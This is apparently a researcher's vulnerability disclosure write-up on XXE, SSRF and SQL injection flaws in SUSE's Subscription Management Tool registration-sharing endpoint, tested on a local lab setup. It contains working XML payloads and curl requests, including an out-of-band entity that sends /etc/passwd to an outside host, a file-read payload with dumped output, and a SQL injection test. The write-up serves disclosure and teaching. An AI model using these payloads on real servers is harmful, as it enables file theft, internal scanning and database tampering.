A series of vulnerabilities in the RegistrationSharing module of the
Subscription Management Tool
(prior to v3.0.38) provided by SUSE for SLES 12 SP3 and below leads to unauthenticated remote arbitrary file reading, DoS and SSRF on
the SMT server and RCE on client machines.
CVE-2018-12470 - SQL injection leading to code execution on client machines
CVE-2018-12471 - XXE leading to DoS, SSRF and arbitrary file reading on SMT server
CVE-2018-12472 - Authentication bypass in sibling check allows remote,
unauthenticated attackers to exploit the previous two vulnerabilities
XXE vulnerabilities
are a well known avenue for exploiting applications, even ranking number 4 on the
OWASP Top 10 Most Critical Web Application Security Risks
(2017). On this front, a lot
of researchers have discovered issues due to the use of the LibXML
library in Perl which will,
bydefault,
process external entities -- developers who are unaware of this
(or maybe don't even realize it's an issue) can easily fall trap to introducing rather severe vulnerabilities
into their applications.
Having been aware of this for quite a while it occurred to me to write a script to parse some
repos from github, clone them and then search through them for this common issue (there are better ways
to search through code on github but my script worked with a specific subset of repositories that I was interested
in). Searching some common terms that would indicate the presence of this issue reveals a lot of hits but
one of the most interesting was this:
.../SUSE/smt/www/perl-lib/SMT/RegistrationSharing.pm:346: my $parser = XML::LibXML->new();
Seeing the owner of the repository instantly piqued my interest. There were plenty of other promising hits (stay
tuned for further reports) but this was interesting enough for me to start looking at the code to see exactly
what was happening.
This line of code lies in the subroutine _getXMLFromPostData so let's
look at it in full:
## Process the received data and turn it into an XML object#sub _getXMLFromPostData{ my $postData = shift; my $xml; my $parser = XML::LibXML->new(); eval { # load_xml not available on SLES 11 SP3 due to version of # LibXML and underlying libxml2 #$xm = XML::LibXML->load_xml(string => $postData); my $POSTDATAFL = File::Temp->new(SUFFIX=>'.txt'); $POSTDATAFL->write($postData); $POSTDATAFL->flush(); seek $POSTDATAFL, 0,0; $xml = $parser->parse_fh($POSTDATAFL); }; if ($@) { return; } return $xml;}
This routine takes in a single parameter $postData
representing a blob of data that has been POSTed during a request and does the following:
Creates a new XML parser using the LibXML library
Dumps the $postData to a new temporary .txt file
Uses the parser created in step 1 to parse XML data from the temporary file
Returns the parsed XML data
This looks pretty juicy -- taking XML from POST data and parsing it using the default parameters
of LibXML, which we already know will happily expand external entities. At this point it would be nice to
be able to test our suspicions. This looks like some kind of server application but I really have no idea
what it is or what it's doing, so let's investigate.
The README in the base of the
repository contains text for the GPLv2 license and nothing else except for
smt -- Subscription Management ToolCopyright (C) 2008-2012 Michael Calmer, SUSE LINUX Products GmbH
OK, it's some kind of application to manage subscriptions. To what exactly?
The product page for the Subscription Management Tool (hereafter referred to as SMT)
has this to say:
You can manage your SUSE Linux Enterprise software updates more easily with the Subscription Management Tool. It also helps you maintain your corporate firewall policy and meet regulatory compliance requirements. The Management Tool establishes a proxy system for SUSE Customer Center with repository and registration targets.
Not exactly to the point. The FAQ has a more digestable description:
The Subscription Management Tool establishes a proxy system for SUSE Customer Center enterprise customers to optimize the management of SUSE Linux Enterprise software updates and subscription entitlements. The proxy provides repository and registration targets. This helps you centrally manage software updates within the firewall on a per-system basis while maintaining your corporate security policies and regulatory compliance.
The tool allows you to provision updates for all of your devices running a SUSE Linux Enterprise-based product. By downloading these updates only once and distributing them throughout the enterprise, you can set more restrictive firewall policies and, where applicable, avoid significant network usage stemming from repeated downloads of the same updates by each device. The tool is fully supported and available as a download to customers with an active SUSE Linux Enterprise product subscription.
...
The Subscription Management Tool server can supply updates for up to a thousand SUSE Linux Enterprise devices per server depending on the utilization profile.
...
The Subscription Management Tool informs your SUSE Linux Enterprise devices of any available software updates. Each device then obtains the required software updates from the SMT. The introduction of the SMT improves the interaction among SUSE Linux Enterprise devices within the network and simplifies how they receive their system updates.
So the idea is you have a whole fleet of computers (likely at your organization) and instead of having
every computer download updates individually -- causing a lot of network traffic and potentially
requring special firewall rules/security policies to allow them -- you would set up a server running the
SMT, configure it to mirror any necessary packages and then set up the SMT on each client machine which
will then pull updates from the SMT server. An elegant solution. It also sounds like a very attractive
target all things considered.
We now know what the SMT is. Let's do a search through the repository to see where
_getXMLFromPostData is being called from:
[~/SUSE]$ grep -RHin "_getXMLFromPostData" smt/
smt/www/perl-lib/SMT/RegistrationSharing.pm:36: my $regXML = _getXMLFromPostData($regData);
smt/www/perl-lib/SMT/RegistrationSharing.pm:95: my $delXML = _getXMLFromPostData($guidData);
smt/www/perl-lib/SMT/RegistrationSharing.pm:342:sub _getXMLFromPostData
two results (not counting the subroutine declaration), both in the RegistrationSharing.pm module. One in
a subroutine called addSharedRegistration and one in a subroutine
called deleteSharedRegistration. So what's this whole
RegistrationSharing thing about? Where are those routines being called from?
Searching the repository for instances where the addSharedRegistration
routine is being called yields only one result outside of the RegistrationSharing.pm file:
... elsif($hargs->{command} eq "shareregistration") { if (! $REGSHARING) { my $msg = "Registration sharing is not configured\n"; $r->log_error($msg); $msg = 'Internal Server Error. Please contact your ' . 'administrator.'; return http_fail($r, 500, $msg); } SMT::RegistrationSharing::addSharedRegistration($r, $hargs); }...
looking at this routine in full, it appears to be taking in a GET request, parsing out the GET parameters into
an $hargs variable and then launching into a series of if statements that are checking what
$hargs->{command} is equal to. If the command is there and equals
"shareregistration" we go into a handler that checks if the
$REGSHARING variable is true and if so we call the
addSharedRegistration subroutine from the RegistrationSharing module.
Tracing back up a little bit
we can see that $REGSHARING is originally set to undefined:
my $REGSHARING = undef;
Shortly afterwards it goes into a handler that attempts to load the RegistrationSharing.pm
module and if successful $REGSHARING is set to 1:
if (! defined $REGSHARING) { $REGSHARING = 0; if (SMT::Utils::hasRegSharing($r)) { eval { require 'SMT/RegistrationSharing.pm'; }; if ($@) { my $msg = 'Failed to load registration sharing module ' . '"SMT/RegistrationSharing.pm"' . "\n$@"; $r->log_error($msg); $msg = 'Internal Server Error. Please contact your ' . 'administrator.'; return SMT::Utils::http_fail($r, 500, $msg); } # Plugin successfully loaded $REGSHARING = 1; }}
OK, we have a lot more information to work from here. Searching the repository for the string
"shareregistration" yields a handful of results but the first and most interesting one is some unit tests
that contains some more useful information regarding RegistrationSharing:
my $url = "https://$smtServer/center/regsvc" . '?command=shareregistration' . '&lang=en-US&version=1.0';
This gives us a URL that we can use to trigger this code path. Looking up further in the
file
reveals the payload
that is being sent along with the request:
Found a way to trigger the piece of vulnerable code
It is time to confirm that this vulnerability actually exists and is exploitable. In order to test we're going to
have to either install it ourselves locally or find someone with a server running we can test against. Seeing as
these servers aren't free and require a valid subscription the former seems like the easier solution so I set off
on getting a running SMT server.
I'm only going to summarize the steps I went through as setting this up could make a decently long
informative post on its own (coming from someone who hadn't touched any variant of SUSE
linux before). All OS were installed as guest systems inside of VirtualBox running on my archlinux host.
Install OpenSUSE before realizing that an SMT server can only be set up on SUSE
Linux Enterprise Server (clients can be running OpenSUSE however)
Go to the download page for SLES to grab a copy of SLES, choosing to sign up for the 60 day free trial
Install and configure RegistrationSharing for the SMT
I only learned that the SMT is being replaced by the Repository Mirroring Tool (RMT) after installing SLES 15. From SLE version 15 and up
only the RMT is available. It is not backwards compatible, so those running SLE 12 and below only have the SMT available.
Additionally there are some features missing in the RMT that the SMT has (RMT is under active development to bring features that should be there
into existence though) which their github gives a good summary of. Moreover,
SLE 11 SP3 and onwards still have long time support (LTSS) until 2022 in the latest case (2019 earliest) and
SLE 12 SP3 still receives general support. A good table for support times can be
found on wikipedia. So even though this tool is
already being replaced with something better (and hopefully more secure) it still has the potential to impact a large number of users.
After everything is installed and running we can begin trying to exploit the application locally.
Trying a POST request to the URL we found before with our legitimate XML payload
ebx@linux-uj54:~> curl -v -d @legit.xml "https://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 881
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 881 out of 881 bytes
< HTTP/1.1 500 Internal Server Error
< Date: Sun, 19 Aug 2018 17:39:29 GMT
* Server Apache is not blacklisted
< Server: Apache
< Content-Length: 0
< Connection: close
<
* Closing connection 0
throws a 500 error and results in a message in the apache error log file:
Failed to load registration sharing module "SMT/RegistrationSharing.pm"\nCan't locate SMT/RegistrationSharing.pm in @INC (you may need to install the SMT::RegistrationSharing module)
After some duckduckgoing, it turns out that the RegistrationSharing module is not installed by default,
but can be installed through YaST2 via the smt-ha package. The
smt-ha package is contained within the SUSE Cloud Application Platform
Tools Module which must be enabled in YaST2 under Configuration->Repositories.
This definitely adds a bit of a barrier to exploitation. However, it is recommended in the SUSE best practices documentation to enable registration sharing as the
"Sharing of registration information is important to provide failover capabilities for the update infrastructure"
and that "The implementation of this setup is a requirement to obtain SUSE Certified Cloud
Provider status". So there is a decent chance that it will be configured on any one SMT server that you may come
across, particularly if it's part of a certified cloud provider.
What exactly is RegistrationSharing? Let's look at the
initial commit for a description from the author:
- Implement registration sharing
+ Registration sharing allows two completely independently configured
SMT servers to be configured as sibling servers. The sibling servers
share registration information effectively creating an redundant
setup. Code that can be implemented in the client can detect if the
SMT server that it registered to is available, if not it can fail
over to the sibling server and get access to the repositories with
the same registration credentials.
So we can use registration sharing to create SMT server redundancy. Two (or more) SMT servers are set up with
the same registration credentials/mirrors, clients are shared between them and in the event one server
goes down a client machine can fall back to using one of the preconfigured siblings and avoid possibly
missing critical security patches.
After installation, RegistrationSharing must be configured in the SMT configuration file:
# This string is used to verify that any sender trying to share a
# registration is allowed to do so. Provide a comma separated list of
# names or IP addresses.
acceptRegistrationSharing = 127.0.0.1
#
# This string is used to set the host names and or IP addresses of sibling
# SMT servers to which the registration data should be sent. For multiple
# siblings provide a comma separated list.
shareRegistrations = 127.0.0.1
#
# This string provides information for SSL verification of the siblings.
# Certificates for the siblings should reside in the given directory.
# If not defined siblings are assumed to have the same CA as this server
#siblingCertDir= # not necessary for our tests
As noted in the documentation, to configure registration sharing you must provide a list of hosts that
will be whitelisted to make registration sharing requests. We're going to ignore that tidbit for
now and just continue our tests working from localhost (which we've added as the only whitelisted
host) -- a vulnerability is a vulnerability right?
Once we have that configured we can try our request again:
ebx@linux-uj54:~> curl -v -d @legit.xml "https://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 881
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 881 out of 881 bytes
< HTTP/1.1 200 OK
< Date: Sun, 19 Aug 2018 17:37:16 GMT
* Server Apache is not blacklisted
< Server: Apache
< Content-Length: 0
< Content-Type: text/xml
<
* Connection #0 to host 127.0.0.1 left intact
Success, this time we get a 200 response and it's no longer complaining about RegistrationSharing not
being there. Looking good.
We know that this is calling the addSharedRegistration
subroutine which in turn is calling the vulnerable _getXMLFromPostData
with our passed XML data. Let's check out the rest of the
addSharedRegistration subroutine to see what it does:
sub addSharedRegistration
{
my $r = shift;
my $hargs = shift;
my $apache = Apache2::ServerUtil->server;
my $acceptRequest = _verifySenderAllowed($r);
if ($acceptRequest != 1) {
return $acceptRequest;
}
# Process the registration request
my $regData = SMT::Utils::read_post($r);
my $regXML = _getXMLFromPostData($regData);
if (! $regXML)
{
my $msg = "Received invalid data:\n$@\n";
$apache->log_error($msg);
$r->log_error($msg);
return SMT::Utils::http_fail($r, 400, $msg);
}
my $dbh = SMT::Utils::db_connect();
my @tableEntries = $regXML->getElementsByTagName('tableData');
for my $entry (@tableEntries) {
my $guid = _getGUIDfromTableEntry($entry);
my $tableName = $entry->getAttribute('table');
if ($tableName eq 'Clients' && SMT::Utils::lookupClientByGUID($dbh, $guid)) {
$apache->log->info("Already have entry for '$guid' nothing to do for Clients record");
next;
}
my $statement = _createInsertSQLfromXML($r, $dbh, $entry);
if (! $statement) {
$dbh->disconnect();
my $msg = 'Could not generate SQL statement to insert '
. 'registration';
$r->log_error($msg);
return SMT::Utils::http_fail($r, 400, $msg);
}
eval {
$dbh->do($statement)
};
if ($@) {
$dbh->disconnect();
$r->log_error('Unable to insert registration into SMT database');
my $msg = 'Registration insert failed:\n'
. "STATEMENT: $statement\n"
. "Error: $@";
$apache->log_error($msg);
return SMT::Utils::http_fail($r, 400, $msg);
}
}
$dbh->disconnect();
return;
}
Here is a quick rundown of what's going on:
This subroutine takes in a POST request containing an XML payload which gets parsed out
through _getXMLFromPostData -- it aborts with an HTTP 400 response
if it fails to parse the data properly (we pretty much already knew this). Next it grabs all
<tableData ...> ... </tableData> nodes, iterates over all of them
grabbing the GUID attribute value under each <entry ...>
element and the table attribute value from the
<tableData table='...'> element itself. If
the value of the table attribute is "Clients" and
the GUID we grabbed already exists in the
database we skip the rest of the routine, otherwise we call
_createInsertSQLfromXML with the single
<tableData ...>...</tableData> blob of XML data and then attempt to
execute the SQL statement that is returned from that routine -- if any of that fails it aborts with an
HTTP 400 response.
Whew! Now we have a pretty good idea on what this routine is doing. We know that the SMT is a LAMP application
from the SMT v. RMT
comparision table, so let's check the database out and see what we can gather from our earlier successful POST.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| smt |
| test |
+--------------------+
5 rows in set (0.02 sec)
MariaDB [(none)]> use smt;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [smt]> show tables;
+--------------------------+
| Tables_in_smt |
+--------------------------+
| Catalogs |
| ClientSubscriptions |
| Clients |
| Filters |
| JobQueue |
| JobResults |
| MachineData |
| Packages |
| PatchRefs |
| Patches |
| Patchstatus |
| ProductCatalogs |
| ProductExtensions |
| ProductMigrations |
| Products |
| Registration |
| RepositoryContentData |
| StagingGroups |
| Subscriptions |
| Targets |
| migration_schema_version |
+--------------------------+
21 rows in set (0.00 sec)
There's a lot of interesting looking tables in the smt database. We can already surmise from
our XML payload that the table names we've likely altered with our
request are
Clients and Registration so
let's look at those:
MariaDB [smt]> select * from Clients;
+----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
| ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE |
+----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
| 1 | 03a8f41f176d4776aed0ea2263ea82c4 | NULL | smt-client | sle-11-x86_64 | | 2014-08-27 13:41:11 | | efaf1ed2f80a4548b4904dc5888f9958 | SR |
+----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
1 rows in set (0.00 sec)
MariaDB [smt]> select * from Registration;
+----------------------------------+-----------+---------------------+---------------------+-------------+
| GUID | PRODUCTID | REGDATE | NCCREGDATE | NCCREGERROR |
+----------------------------------+-----------+---------------------+---------------------+-------------+
| 03a8f41f176d4776aed0ea2263ea82c4 | 100550 | 2014-08-26 09:58:15 | 2014-08-26 09:58:15 | 0 |
+----------------------------------+-----------+---------------------+---------------------+-------------+
1 row in set (0.00 sec)
Sweet, we successfully inserted an entry into each table with our test. We can now try modifying our payload to see if we can exploit the XXE that we found in code.
Let's see what exactly the Clients table is:
MariaDB [smt]> describe Clients;
+-------------+------------------+------+-----+-------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+------------------+------+-----+-------------------+----------------+
| ID | int(10) unsigned | NO | UNI | NULL | auto_increment |
| GUID | char(50) | NO | PRI | | |
| SYSTEMID | int(10) unsigned | YES | MUL | NULL | |
| HOSTNAME | varchar(100) | YES | | | |
| TARGET | varchar(100) | YES | | NULL | |
| DESCRIPTION | varchar(500) | YES | | | |
| LASTCONTACT | timestamp | NO | | CURRENT_TIMESTAMP | |
| NAMESPACE | varchar(300) | NO | | | |
| SECRET | char(50) | NO | | | |
| REGTYPE | char(10) | NO | | SR | |
+-------------+------------------+------+-----+-------------------+----------------+
10 rows in set (0.00 sec)
From the database schema we can see that not all columns need to be supplied so
let's craft a simpler XXE payload from our given, legitimate XML:
ebx@linux-uj54:~> curl -v -d @testxxe.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 296
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 296 out of 296 bytes
< HTTP/1.1 200 OK
< Date: Fri, 10 Aug 2018 20:45:00 GMT
* Server Apache is not blacklisted
< Server: Apache
< Content-Length: 0
< Content-Type: text/xml
<
* Connection #0 to host 127.0.0.1 left intact
Awesome, 200 OK! Let's check the database:
MariaDB [smt]> select * from Clients;
+----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
| ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE |
+----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
| 20 | | NULL | security_is_hard | NULL | | 2018-08-10 14:45:01 | | | SR |
| 1 | 03a8f41f176d4776aed0ea2263ea82c4 | NULL | smt-client | sle-11-x86_64 | | 2014-08-27 13:41:11 | | efaf1ed2f80a4548b4904dc5888f9958 | SR |
+----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+
Looks like our entry got created with no errors being thrown from the XML parser. At this point I'm very confident that the backend is parsing external entities, but obviously we have no way to see the parsed XML (and thus the included file contents).
So let's try a couple of things. First we try sending the same payload again:
ebx@linux-uj54:~> curl -v -d @testxxe.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 296
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 296 out of 296 bytes
< HTTP/1.1 400 Bad Request
< Date: Fri, 10 Aug 2018 20:51:16 GMT
* Server Apache is not blacklisted
< Server: Apache
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
Registration insert failed:\nSTATEMENT: INSERT into Clients (NAMESPACE, HOSTNAME) VALUES ('', 'security_is_hard')
Error: DBD::mysql::db do failed: Duplicate entry '' for key 'PRIMARY' at /usr/lib/perl5/vendor_perl/5.18.2/SMT/RegistrationSharing.pm line 63.
* Closing connection 0
But it fails with a 400 response. It's failing because we already have an entry in the database with a PRIMARY
key of '' but we're trying to insert another one. If we look at
the schema for the
Clients table that we dumped above we can see the GUID column is
the primary key, which is defaulting to ''.
Besides reading files, DoS and SSRF are other common ways to leverage an XXE flaw.
DoS is boring (but can be accomplished relatively easily by utilizing quadratic blowup or changing the file
being read to something that won't return like /dev/random)
so let's see if we can get the server to make requests to external resources, which could potentially
result in out-of-bounds extraction of data but will at least confirm our ability to perform SSRF.
I throw up a quick server on my host machine:
[~/tmp]$ python2 -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
use the following as a test payload and issue a request from our SUSE guest:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE registrationData [ <!ELEMENT registrationData ANY > <!ENTITY % xxe SYSTEM "http://192.168.43.87:8000/oob.xml">%xxe;%param1;]><registrationData>&exfil;</registrationData>
ebx@linux-uj54:~> curl -v -d @test_oob.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
and we're greeted with a request on our host server from our client machine
192.168.43.226 - - [10/Aug/2018 16:52:17] code 404, message File not found
192.168.43.226 - - [10/Aug/2018 16:52:17] "GET /oob.xml HTTP/1.0" 404 -
SSRF confirmed. Utilizing this we can effectively use the server as a port scanner and
would even be able to scan the local network the server is connected to in order
to discover other potentially vulnerable targets/pivot points. Of course this isn't
very useful to us at the moment since we have no way
to see the results of the scan (as an attacker), so
let's see if we can get the server to actually spit us back some data.
We create the following on our host machine and issue the same request. It will attempt to have the SMT server
respond back to our host with the contents of the file within the URL.
<!ENTITY % data SYSTEM "file:///etc/passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.43.87:8000/?%data;'>">
and we can see that our malicious oob.xml file was grabbed successfully
192.168.43.226 - - [10/Aug/2018 17:34:09] "GET /oob.xml HTTP/1.0" 200 -
But that's it, no other requests came through with file contents or anything that would indicate a successful attack. Let's switch back to
our SUSE server and see what information we can get there. Our cURL command has the following output:
ebx@linux-uj54:~> curl -v -d @test_oob.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 222
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 222 out of 222 bytes
< HTTP/1.1 400 Bad Request
< Date: Fri, 10 Aug 2018 23:34:09 GMT
* Server Apache is not blacklisted
< Server: Apache
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
Received invalid data:
http://192.168.43.87:8000/oob.xml:2: parser error : Detected an entity reference loop
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.43.87:8000/?%data;'>">
^
* Closing connection 0
Rats, it looks like LibXML by default has defense against this type of OOB exfiltration and so it will not work. We still have our SSRF and (sigh) DoS,
but it seems that's all we're able to do so far. Let's start looking at the source code more closely to see if there's anywhere we're using the data from the XML payload that might be exploitable.
Doing a quick search through the source code did not reveal anywhere using anything interesting that could be exploited such as an eval().
Looking at the addSharedRegistration subroutine again, it's not doing much with the XML data itself but there are two interesting points where
the data is being passed and potentially used:
SMT::Utils::lookupClientByGUID($dbh, $guid)
and
my $statement = _createInsertSQLfromXML($r, $dbh, $entry);
The more interesting sounding routine is _createInsertSQLfromXML, least of all because it starts with an underscore designating it is for use internally.
# Generate the SQL statement to insert the registration that is being shared# into the DB#sub _createInsertSQLfromXML{ my $r = shift; my $dbh = shift; my $element = shift; my $tableName = $element->getAttribute('table'); if (! $tableName) { $dbh->disconnect(); my $xml = $element->textContent; my $msg = "Could not determine table name for insertion from XML\n" . $xml; $r->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } my $sql = "INSERT into $tableName ("; my $vals = 'VALUES ('; for my $entry ($element->getElementsByTagName('entry')) { $sql .= $entry->getAttribute('columnName') . ', '; my $val = $dbh->quote($entry->getAttribute('value')); $vals .= "$val" . ', '; } for my $entry ($element->getElementsByTagName('foreign_entry')) { $sql .= $entry->getAttribute('columnName') . ', '; my $statement = $entry->getAttribute('value'); my $values = $dbh->selectcol_arrayref($statement); $vals .= $dbh->quote($values->[0]) . ', '; } chop $sql; # remove trailing space chop $sql; # remove trailing comma chop $vals; # remove trailing space chop $vals; # remove trailing comma $sql .= ') ' . $vals . ')'; return $sql;}
Reading through this routine once or twice and two things immediately stick out:
if (! $tableName) {
$dbh->disconnect();
my $xml = $element->textContent;
my $msg = "Could not determine table name for insertion from XML\n"
. $xml;
$r->log_error($msg);
return SMT::Utils::http_fail($r, 400, $msg);
}
This looks like a very good reflection point for our XXE payload. If the $tableName variable evaluates to a boolean false
the text content of the XML is retrieved, appended to a message and then logged and dumped back to the user during an HTTP 400 response.
The rest of the routine is also interesting. It builds up a SQL statement from the data supplied in the POST request and we've already seen what that SQL looks like
as in our test payload: INSERT into Clients (NAMESPACE, HOSTNAME) VALUES ('', 'security_is_hard') -- comparing this SQL to the code
that creates it and it becomes very clear how it is built up. The most interesting bit is the beginning:
my $sql = "INSERT into $tableName (";
looking back up a little further and we can see where $tableName gets its value...
my $tableName = $element->getAttribute('table');
directly from our provided XML. User supplied input being inserted directly into a raw SQL statement without sanitization -- smells like SQL injection to me ;)
Let's get back to the original XXE vulnerability though, because we found a reflection point that looks like a good candidate for testing arbitrary file reading. You'll recall that
if we can make the $tableName variable evaluate to false we can trigger the code path that will reflect our XML content back to us. We just discovered that the
$tableName variable gets its value directly from our XML content, from the table attribute of the root element.
Note that the code iterates over each element and passes that to the
_createInsertSQLfromXML routine, so the data passed looks like this:
However, at this point in code our XML has already been parsed by LibXML, so
&xxe; has been expanded into the entity that we defined.
Will the boolean check on $tableName fail if we simply don't provide a table='' attribute? Let's modfy our
initial test payload and give it a try:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><registrationData> <tableData> <entry columnName="NAMESPACE" value="">&xxe;</entry> <entry columnName="HOSTNAME" value="smt-client"/> </tableData></registrationData>
It's pretty much the same payload only we provide the
<tableData> tag with no attribute. Let's fire this off
and see what happens...
ebx@linux-uj54:~> curl -v -d @readfile.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Hostname was NOT found in DNS cache
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> User-Agent: curl/7.37.0
> Host: 127.0.0.1
> Accept: */*
> Content-Length: 280
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 280 out of 280 bytes
< HTTP/1.1 400 Bad Request
< Date: Sat, 11 Aug 2018 02:17:30 GMT
* Server Apache is not blacklisted
< Server: Apache
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
Could not determine table name for insertion from XML
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
ftpsecure:x:489:65534:Secure FTP User:/var/lib/empty:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:482:483:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:499:499:User for D-Bus:/var/run/dbus:/bin/false
mysql:x:60:494:MySQL database admin:/var/lib/mysql:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
nscd:x:496:495:User for nscd:/run/nscd:/sbin/nologin
ntp:x:74:489:NTP daemon:/var/lib/ntp:/bin/false
openslp:x:494:2:openslp daemon:/var/lib/empty:/sbin/nologin
polkitd:x:497:496:User for polkitd:/var/lib/polkit:/sbin/nologin
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:487:487:PulseAudio daemon:/var/lib/pulseaudio:/sbin/nologin
root:x:0:0:root:/root:/bin/bash
rpc:x:495:65534:user for rpcbind:/var/lib/empty:/sbin/nologin
rtkit:x:488:488:RealtimeKit:/proc:/bin/false
scard:x:484:485:Smart Card Reader:/var/run/pcscd:/usr/sbin/nologin
smt:x:485:8:User for SMT:/var/lib/smt:/usr/bin/false
srvGeoClue:x:490:65534:User for GeoClue D-Bus service:/var/lib/srvGeoClue:/sbin/nologin
sshd:x:498:498:SSH daemon:/var/lib/sshd:/bin/false
statd:x:486:65534:NFS statd daemon:/var/lib/nfs:/sbin/nologin
systemd-timesync:x:491:491:systemd Time Synchronization:/:/sbin/nologin
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
vnc:x:483:484:user for VNC:/var/lib/empty:/sbin/nologin
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ebx:x:1000:100:ebx:/home/ebx:/bin/bash
vboxadd:x:481:1::/var/run/vboxadd:/bin/false
* Closing connection 0
Could not generate SQL statement to insert registrationebx@linux-uj54:~>
Success! It triggered right where we thought it would and dumped the contents of the file we specified
in our entity. Note from the code that this information also gets dumped to the apache error log
file, so it is rather noisey from an attackers perspective.
Next let's investigate the SQL injection vulnerability that we found. You'll recall that we discovered it was the same attribute value that when ommitted
dumps the raw XML back to us that is the injection point, so we can simply modify the same payload that we used to exploit our XXE to exploit our SQL
injection.
We've inserted some SQL that is going to be appended to an INSERT INTO statement.
Our test is just inserting the same SQL that would have been generated/inserted anyway if we would have built
the XML out as normal, but it will confirm our vulnerability. Note that we finish the statement and comment
out the rest (which will be appended later through the code) with: ;#.
Let's run it and see what happens
ebx@linux-uj54:~> curl -v -d @sqli_test.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
...
MariaDB [smt]> select * from Clients where GUID = 'sqli';
+----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+
| ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE |
+----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+
| 24 | sqli | NULL | SQLi | NULL | | 2018-08-11 14:55:20 | | | SR |
+----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+
1 row in set (0.00 sec)
Success, our SQL statement was created and executed without error and we have a new entry in the Clients table.
For the curious, the full statement generated looks like this:
